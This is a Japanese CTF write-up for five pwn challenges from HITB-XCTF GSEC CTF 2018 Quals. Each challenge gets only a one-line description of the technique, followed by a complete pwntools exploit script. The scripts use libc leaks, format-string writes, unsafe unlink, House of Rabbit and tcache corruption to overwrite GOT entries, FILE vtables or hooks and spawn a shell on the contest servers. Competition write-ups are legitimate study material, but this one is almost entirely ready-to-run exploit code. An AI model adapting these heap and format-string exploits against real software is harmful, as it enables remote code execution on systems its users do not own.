HITB-XCTF GSEC CTF 2018 Quals writeup
once (pwn, 281pts)
libcのアドレスは適当な選択をすれば漏れてくるので、適当に双方向リストのポインタを上書きした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.189.102" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('./libc-2.23.so') elf = ELF('./once') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ set environment LD_PRELOAD=./libc-2.23.so c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./once'], execute) else: conn = process(['./once']) # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'}) # preparing for exploitation def create(): conn.sendlineafter('> ', '1') def write(payload): conn.sendlineafter('> ', '2') time.sleep(0.5) conn.send(payload) def free(): conn.sendlineafter('> ', '3') def malloc(size): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '1') conn.sendlineafter('input size:', str(size)) conn.sendlineafter('> ', '4') def _free(): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '3') conn.sendlineafter('> ', '4\x00yyyyyy') def write_string(payload): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '2') time.sleep(0.5) conn.sendline(payload) # conn.recvuntil('success.') conn.sendlineafter('> ', '4') log.info('Pwning') conn.sendlineafter('> ', '-1') conn.recvline() buf = conn.recv(len('0x7fbb53834690')) libc_base = int(buf, 16) - 0x6f690 log.info('libc_bsae = 0x%x', libc_base) write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2) malloc(0x200) payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e) write_string(payload) _free() conn.recvuntil('>') create() conn.interactive()
babypwn (pwn, 253pts)
バイナリが与えられないが自明なFSBがあるためリークすることができる。適当にstdinあたりのvtableを上書きした。
#!/usr/bin/env python from pwn import * #context(os='linux', arch='unknown') #context.log_level = 'debug' # output verbose log RHOST = "47.75.182.113" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./a.out') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x4006ef c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./a.out'], execute) else: conn = process(['./a.out']) # conn = process(['hogehoge'], env={'LD_PRELOAD': ''}) # preparing for exploitation def write(addr, byte): payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr) conn.sendline(payload) log.info('Pwning') # leak libc_base conn.sendline('%41$p') conn.recvuntil('0x') libc_base = int(conn.recv(12), 16) - 0x20830 log.info('libc_base = 0x%x', libc_base) stdin = libc_base + 0x3c48e0 stdin_vtable = libc_base + 0x3c49b8 fake_vtable = libc_base + 0x3c49c0 system = libc_base + 0x45390 # set ';sh' string write(stdin+4, ord(';')) write(stdin+5, ord('s')) write(stdin+6, ord('h')) # create fake vtable for i in range(6): write(fake_vtable+0x28+i, ord(p64(system)[i])) # overwrite stdin vtable ptr a = (fake_vtable & 0xffff) payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable) conn.sendline(payload) conn.interactive()
d (pwn, 392pts)
heap overflowがあるのでchunk sizeを上書きしてunsafe unlink attackを使った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.154.113" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute) else: conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d']) # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''}) # preparing for exploitation def read(idx, msg): conn.sendlineafter('Which? :', '1') conn.sendlineafter('Which? :', str(idx)) conn.sendlineafter('msg:', msg) def edit(idx, msg): conn.sendlineafter('Which? :', '2') conn.sendlineafter('Which? :', str(idx)) conn.sendlineafter('new msg:', msg) def wipe(idx): conn.sendlineafter('Which? :', '3') conn.sendlineafter('Which? :', str(idx)) def fsa(addr, byte): payload = '' printf_plt = elf.plt['printf'] atoi_plt = elf.plt['atoi'] strlen_plt = elf.plt['strlen'] fake_chunk = 0x6021a0 log.info('Pwning') read(0, 'x' * 0x138) read(1, 'x' * 0x138) read(2, 'x' * 0x138) read(3, 'x' * 0x138) read(4, 'y' * 0x138) read(5, 'z' * 0x138) read(6, 'z' * 0x138) wipe(4) read(4, 'a'* (0x138+19)) edit(4, 'x'*0xf8) edit(4, 'x'*0xf0 + p64(0xf0)) payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10) edit(4, payload) wipe(5) edit(6, '/bin/sh\x00') edit(4, p64(0x602028)) edit(1, p64(printf_plt)[:6]) edit(0, '%2$p') conn.recvuntil('Which? :') conn.sendline('2') conn.recvuntil('Which? :') conn.sendline('0') conn.recvuntil('0x') libc_base = int(conn.recv(12), 16) - 0x3c6780 log.info('libc_base = 0x%x', libc_base) conn.sendline('hoge') edit(4, '%p') edit(4, p64(0x602018)) edit(1, '%p') edit(1, p64(libc_base + 0x45390)[:7]) conn.interactive()
mutepig (pwn, 833pts)
House of Rabbit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.128.158" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./mutepig') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ set follow-fork-mode parent b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./mutepig'], execute) else: conn = process(['./mutepig']) # conn = process(['./mutepig'], env={'LD_PRELOAD': ''}) # preparing for exploitation def create(_type, payload): time.sleep(0.1) conn.sendline('1') conn.sendline(str(_type)) time.sleep(0.1) conn.send(payload) time.sleep(0.1) def free(idx): time.sleep(0.1) conn.sendline('2') time.sleep(0.1) conn.sendline(str(idx)) time.sleep(0.1) def write(idx, payload, payload2): time.sleep(0.1) conn.sendline('3') time.sleep(0.1) conn.sendline(str(idx)) time.sleep(0.1) conn.send(payload) time.sleep(0.1) conn.send(payload2) log.info('Pwning') time.sleep(0.1) create(3, 'x'*7) free(0) create(3, 'y'*7) free(1) create(1, 'fast') # 2 create(2, 'small') # 3 free(2) payload = p64(0) + p64(0x11) + p64(0x0) + p64(0xfffffffffffffff1) write(2, p64(0x602130)[:7], payload) free(3) # malloc_consolidate payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xa00001) write(3, 'w'*7, payload) create(3, '/bin/sh') payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xfffffffffffffff1) write(3, 'w'*7, payload) create(13337, 'a'*7) create(1, p64(0x0000000000602018)[:7]) write(0, p64(0x00000000004006e6)[:7], 'hoge') free(2) conn.interactive()
gundom (pwn, 487pts)
tcache
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.37.114" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('./libc.so.6') elf = ELF('./gundam') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./gundam'], execute) else: conn = process(['./gundam']) # conn = process(['./gundam'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def build(name, idx): conn.sendlineafter('Your choice : ', '1') conn.sendafter('The name of gundam :', name) time.sleep(0.1) conn.sendlineafter('The type of the gundam :', str(idx)) time.sleep(0.1) def visit(): conn.sendlineafter('Your choice : ', '2') time.sleep(0.1) def destroy(idx): conn.sendlineafter('Your choice : ', '3') conn.sendlineafter('Destory:', str(idx)) time.sleep(0.1) def blow(): conn.sendlineafter('Your choice : ', '4') time.sleep(0.1) log.info('Pwning') build('x'*0x10, 0) build('y'*0x10, 1) destroy(0) destroy(0) build('x'*0x1, 0) visit() conn.recvuntil('Gundam[2] :') heap_base = u64(conn.recv(6) + '\x00\x00') - 0x278 log.info('heap_base = 0x%x', heap_base) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) blow() build('\x90'*0x1, 0) visit() conn.recvuntil('Gundam[0] :') libc_base = u64(conn.recv(6) + '\x00\x00') - 0x3dac90 log.info('libc_base = 0x%x', libc_base) destroy(1) payload = p64(0) + p64(0x61) + p64(libc_base + 0x3dac78) * 2 + 'a'*0x40 + p64(0x60) + p64(0x100) build(payload, 2) build(p64(libc_base + 0x3da9cc) + p64(0) + p64(heap_base + 0x3d0)*2, 0) build('hoge', 0) free_hook = libc_base + 0x3dc8a8 short_buf = libc_base + 0x3daa63 payload = '\x00'* 4 + p64(0xfbad208b) + p64(short_buf) + p64(short_buf+1) + p64(short_buf) * 4 + p64(free_hook-2) + p64(free_hook+8) build(payload, 0) conn.sendline('3') conn.send('0\x00' + p64(libc_base + 0xfccde)) #conn.send('0\x00' + 'x'*8) conn.interactive()
最後に
最近はCTFをするときにMAN WITH A MISSIONのRaise your flagを聴いている(本当は適当にプレイリストを流しているだけ)。 CTFっぽい名前なのか良い感じにfirst bloodを取れるのでジンクスとして続けていこうとかと思っている。